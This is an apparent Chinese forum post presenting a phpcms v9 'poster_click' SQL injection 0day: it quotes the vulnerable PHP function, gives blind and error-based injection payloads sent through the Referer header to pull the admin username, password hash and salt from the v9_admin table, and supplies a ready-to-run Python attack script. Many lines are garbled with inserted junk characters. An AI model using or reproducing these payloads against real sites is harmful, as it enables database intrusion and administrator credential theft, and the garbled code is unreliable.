phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
( R) E0 }3 k' s/ u# Y
问题函数\phpcms\modules\poster\index.php
$ }& O+ ~2 C7 S9 ^( p# }
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
, d8 _, B& W# V0 l; h$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
. Y$ K' X, n0 r4 ^: C6 Zif($id) {
) p* _' W+ o- S' q$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
" y# Q( g$ ?6 R, G7 F- _}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
$ V. E* R/ N: n" sif (count($setting)==1) {
3 H, ^" o& R# J$url = $setting['1']['linkurl'];
} else {
9 b. b0 C& |& S+ e$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
1 v6 T( z; T6 x# `0 w8 `header('Location: '.$url);
0 {; `( h0 K; N: J6 M* [$ \( V}
; \. N/ h# X1 ?
* [# g4 T8 Q% ?) [) ?; z
9 {& f3 Q6 \5 C0 s
利用方式：

8 n8 B( U- y+ a3 m1、可以采用盲注入的手法：
( z0 C' ]+ E6 h3 `
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
" j) H! O) u. N. \/ L* t( |
1 M8 Q$ V) M2 w, g2 F7 H通过返回页面，正常与否一个个猜解密码字段。

5 d/ Y$ c3 M3 V5 p2、代码是花开写的，随手附上了：

) u8 E4 g# u" ]1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
! t8 f, D8 n" ^5 \9 o
* N! i, Q* @" x4 B  H. ?此方法是爆错注入手法，原理自查。

# s+ E' G# J7 g- s

# ^6 u/ s% X7 X& D9 E6 B利用程序:

8 p, J9 b) W9 `7 g. h" F4 h4 D#!/usr/bin/env python
1 }4 _' o! ?/ L. Fimport httplib,sys,re
2 b' C$ |! h; n; H" i" G
def attack():
9 g& |9 {/ t7 n' n% Xprint “Code by Pax.Mac Team conqu3r!”
4 o9 b3 ?0 t- N/ X9 R- o/ `print “Welcome to our zone!!!”
url=sys.argv[1]
paths=sys.argv[2]
conn = httplib.HTTPConnection(url)
8 Z7 g2 f& W. Z1 T" N) gi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
- c  Y8 p7 l, D/ ^9 C. g/ Oconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
! Z/ d6 l" x$ q' I) O" rr1 = conn.getresponse()
. }* u- ~! g, l8 T4 r7 Z6 Ndatas=r1.read()
) O2 [; O+ b& p0 \* p- A. @datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
; C% z1 J8 K. F! L6 Y9 o) econn.close()
if __name__==”__main__”:
" W" M* K' p* U/ G) J& E1 Wif len(sys.argv)<3:
) f4 H9 ]( d$ H/ e5 @" h  Fprint “Code by Pax.Mac Team conqu3r”
6 c2 g6 d/ ]2 O2 V# z# |1 w0 dprint “Usgae:”
# ]( |* w$ l$ y! ?/ F' zprint “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
6 S- O; d9 v0 E9 Asys.exit(1)
attack()